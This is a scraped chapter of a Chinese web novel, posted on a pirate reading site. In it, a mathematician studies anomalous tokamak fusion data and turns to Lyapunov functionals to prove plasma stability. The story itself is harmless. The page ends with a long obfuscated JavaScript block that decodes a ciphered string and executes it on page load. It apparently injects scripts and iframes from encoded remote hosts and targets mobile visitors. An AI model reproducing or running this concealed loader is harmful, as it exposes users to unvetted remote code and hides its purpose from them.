首页
第642章 李雅普诺夫泛函
返回
关灯 护眼:关 字号:小

第642章 李雅普诺夫泛函 一

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    成都之行结束后,徐辰没有立刻回合肥。
    他又去了同样位于成都的核工业西南物理研究院。
    这里运营着中国环流三号(HL-3)装置,是国内另一支聚变国家队的大本营。如果说合肥等离子体物理研究所(EAST)的绝活是超导磁体和等离子体控制,主打一个「细水长流」的长周期稳定;那么西南物理研究院走的则是刚猛路线——主攻高功率丶高参数的燃烧等离子体实验。
    (请记住台湾小说网超便捷,t????w????k??????????n????.c????????m????轻松看网站,观看最快的章节更新)
    在与国际热核聚变实验堆(ITER)的合作项目中,环流三号挑起了第一壁材料和偏滤器等核心部件工程验证的大梁。原因无他,环流三号虽然目前的持续运行时间只有短短的10秒左右,但它的等离子体温度极高,已经跨过了核聚变的反应门槛。这宝贵的10秒钟,足够让他们对那些直面聚变之火的核心部件进行初步的抗压测试。
    然而,10秒毕竟只是10秒。
    但要深度开展实验,无论是第一壁材料的抗辐照测试丶偏滤器的长期排灰验证,还是真正意义上的稳定燃烧实验,归根结底,都卡在同一个瓶颈上,那就是等离子体控制。
    成都之行的结论再次印证了徐辰在合肥已经得出的判断。好在预测和控制算法已经完成,只等EAST装置重新进入实验周期收集新数据。眼下没有需要他亲自盯着的工作,继续留在外面没有意义。
    于是,几天后,徐辰回到了北京。
    ……
    回京后不久,徐辰接到了董汉辰的电话。
    「徐教授,回北京了?」
    「嗯。合肥那边有新情况?」
    「设备那边暂时没有,实验排期还没提前。」董汉辰顿了顿,语气变得认真起来,「是上次咱们在合肥聊到的引导路线。」
    徐辰的动作停了一下。
    「我离开以后,花了点时间,把所里过去几年在这个方向上做过的东西整理了一遍。」
    「包括一些零散的理论探索丶数值模拟结果,还有实验中记录下来的异常数据。东西比较杂,没有专门发表过。」
    「我在这个方向上做了几年,已经走到瓶颈了。数学功底不够,推不下去。」
    他说到这里,笑了一下。
    「您要是还对这个方向有兴趣,我把资料发给您看看。」董汉辰说道,「权当参考。不嫌粗糙就行。」
    徐辰没有犹豫。
    「发过来吧。」
    「好嘞,我马上发您。」
    ……
    电话挂断后不到一分钟,徐辰的邮箱里便多出了一封新邮件。
    附件是一个加密压缩包,文件名很普通:《等离子体引导运行模式阶段性资料汇总》
    徐辰打开文件,原本以为会看到董汉辰个人的研究笔记,没想到里面的内容比他预想得系统得多。
    除了董汉辰自己的工作,资料中还汇总了研究所过去几年里其他研究人员在「引导方向」上做过的零星尝试。
    有些是没有发表的内部报告,有些只是实验日志里的几段备注,还有一些,则是当时被认为「无法解释丶暂不具备重复价值」的异常数据。
    董汉辰显然花了不少时间,把这些几乎散落在不同课题组丶不同硬碟和不同实验记录里的内容,一点点翻了出来。
    徐辰没有急着做判断,只是安静地往下看。
    董汉辰用数值模拟归纳出某些「看起来更稳定」的区域,却无法证明这种稳定性究竟来自真实的物理机制,还是仅仅因为那几次实验碰巧没有触发破裂。
    ……
    资料看到最后,徐辰的目光停在了一组被标记为「异常放电」的数据上。
    那是去年一次实验留下的记录。
    当时,某个运行参数偏离了原本设定的范围。按照已有经验,等离子体应该更容易进入不稳定状态。
    结果却恰恰相反。
    那次放电不但没有立即破裂,反而比正常工况多维持了好几秒。
    几秒钟,在普通人的生活里短得几乎可以忽略。
    可在托卡马克装置里,那是足以让一整套理论模型重新排队的时间。
    董汉辰在旁边写了一段批注:【初步判断:系统可能偶然进入了某种特殊的压强分布构型。该构型表现出更强的抗扰动能力,但目前无法主动复现,也无法解释其稳定机制。】
    ……
    徐辰盯着那段话看了很久。
    书房里很安静。窗外是北京深夜依旧未曾熄灭的灯光,远处偶尔传来汽车驶过路面的声音。
    他忽然拿起手机,拨通了董汉辰的电话。
    电话几乎立刻接通。
    「徐教授?」
    「资料我看完了。」
    电话那头安静了一瞬,董汉辰似乎在等一个评价。
    徐辰没有绕弯子。
    「方向没问题。」
     董汉辰明显松了口气。
    「你的直觉应该是对的。」徐辰继续说道,「在等离子体的状态空间里,确实可能存在某些局部稳定区域。系统一旦进入那个区域,小扰动未必会把它推向破裂,反而可能被内部动力学重新吸收。」
    「但你现在的做法,是从数据里归纳规律。能证明已经算过的那些工况里没出问题,没法证明在所有允许的扰动下都稳定。「
    「对。「董汉辰说得很乾脆,「有限次实验只能提供证据,不能替代证明。所以我卡住了。」
    「把那组异常数据的完整参数发给我。」徐辰说道,「包括高频诊断数据丶初始条件丶边界条件,还有当时所有执行器的响应记录。」
    董汉辰没有追问原因,直接答应下来。
    「好。我整理一下,今晚发您。」
    「不用太整理,原始数据优先。」
    「明白。」
    挂断电话后,不到十分钟,一份更大的数据包传了过来。
    徐辰重新坐回电脑前。
    他没有立刻运行程序,而是闭上了眼睛。
    ……
    脑海深处,几条原本互不相干的线索,开始缓慢地移动。
    第一条线,是仿星器的「天然稳态」。
    靠复杂的三维磁场几何,把等离子体锁进稳定构型。理念漂亮,但工程精度几乎走到了现实世界的尽头。
    第二条线,是董汉辰关于「稳定运行模式」的猜想。
    不靠控制系统时时纠偏,而是找到一个等离子体愿意自行停留的状态。方向正确,却一直停留在经验归纳层面。
    第三条线,是那组异常放电数据。
    参数偏离了正常范围,系统却没有更快崩溃,反而多维持了几秒。
    这说明那个稳定状态不是理论上的幻觉。
    它确实存在。
    只是此前没有人知道,应该用什么工具把它找出来。
    仿星器靠几何构型制造出那个「碗」。
    董汉辰试图从实验数据中摸索出那个「碗」的形状。
    而徐辰忽然想到——如果这个「碗」不一定要由线圈的三维几何构型来实现呢?
    如果它可以由方程本身给出?
    徐辰睁开眼睛。
    一个名字,清晰地浮现在他的脑海里。
    李雅普诺夫泛函。
    如果能从MHD方程中构造出一个合适的李雅普诺夫泛函,就意味着可以在数学上严格证明:在某组特定条件下,等离子体存在一个天然稳定的运行状态。
    这个概念是现代控制理论的基石。简单来说,如果能为一个动力系统找到一个李雅普诺夫泛函,就相当于在数学上给它找到了一个永远指向最低点的「能量函数」。
    你可以把它想像成一个碗。只要球在碗里,无论你如何轻推它,它最终都会因为重力滚回碗底。那个让它滚回来的「重力势能」,就是李雅普诺夫函数的物理类比。
    一旦找到了这个泛函,就等于严格证明了系统在「碗底」这个平衡点是稳定的。任何足够小的扰动,都会让系统的「能量函数」持续下降,最终自动回到那个稳定状态。
    不需要针对每一种异常情况设计控制方案。
    也不需要让控制系统永远跟在等离子体后面救火。
    只要把等离子体引导到稳定点附近,它就会自己回到「碗底」。
    ……
    然而,想为MHD方程找到这样的泛函,困难程度远超普通人的想像。
    李雅普诺夫稳定性理论诞生于十九世纪末。1892年,俄国数学家亚历山大·李雅普诺夫在研究天体运动稳定性时,系统建立了这套方法。此后一个多世纪,它逐渐成为控制理论丶非线性动力系统和现代偏微分方程中的核心工具。
    但经典理论主要针对的是有限维系统。
    方程里只有几个变量,状态空间也能用有限个坐标描述。研究者只需要找到一个合适的标量函数,就有机会把系统的稳定性装进一个清晰的数学框架。
    MHD方程却完全不同。
    它同时包含流体运动丶电磁感应丶磁场拓扑丶压强梯度和非线性对流项。更麻烦的是,所有变量都不是单独的数字,而是定义在空间和时间上的场。
    这意味着,徐辰要在维度无限高丶参数疯狂耦合的无尽黑暗中,凭藉纯粹的数学直觉,凭空捏造出一个能完美契合等离子体物理特性的泛函。
    纵观整个偏微分方程的数学史,能够在类似复杂度的非线性系统中成功构造出全局李雅普诺夫泛函的案例,屈指可数。这也是为什么几十年过去,聚变理论界宁愿去死磕极其繁琐的控制算法,也不愿碰这条近乎自杀的纯粹数学路线。
    徐辰靠在椅背上,目光落在那块黑屏上自己模糊的倒影里。
    很难。但方向似乎是对的。
    ……
    <insclass="pubadx-slot"data-zoneid="10802"></ins>
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();